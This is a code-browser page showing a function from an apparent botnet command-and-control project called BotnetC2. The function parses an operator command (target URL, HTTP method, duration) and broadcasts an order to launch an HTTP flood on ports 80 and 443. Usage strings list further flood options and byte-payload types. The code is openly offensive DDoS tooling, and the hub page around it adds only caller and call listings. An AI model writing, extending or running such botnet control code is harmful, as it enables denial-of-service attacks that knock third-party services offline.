MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / http_req_all

Function http_req_all

BOTNETc2/api.py:103–118  ·  view source on GitHub ↗
(args,mode, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)

Source from the content-addressed store, hash-verified

101 send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME] [SIZE] [TYPE_BYTES]')
102 send(client, '[TYPE_BYTES] <-- URANDOM RANDBYTES OS_URANDOM OS_RANDBYTES PY_BOTNET')
103def http_req_all(args,mode, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
104 if len(args) == 4:
105 ip = args[1]
106 method = args[2]
107 secs = args[3]
108 if validate_time(secs):
109 send(client, ansi_clear, False)
110 attack_sent1(ip,"80/443", secs, client)
111 broadcast(data)
112 else:
113 send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)')
114 else:
115 mode_type = mode.split('.')
116 mode_type = mode_type[1].lower()
117 send(client, f'Usage: .{mode_type} [URL] [HTTP_METHODS] [TIME]')
118 send(client, '[HTTP_METHODS] <-- get post head delete options patch put all')
119
120def http_req2(args, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
121 if len(args) == 3:

Callers 1

command_lineFunction · 0.70

Calls 4

validate_timeFunction · 0.70
sendFunction · 0.70
attack_sent1Function · 0.70
broadcastFunction · 0.70

Tested by

no test coverage detected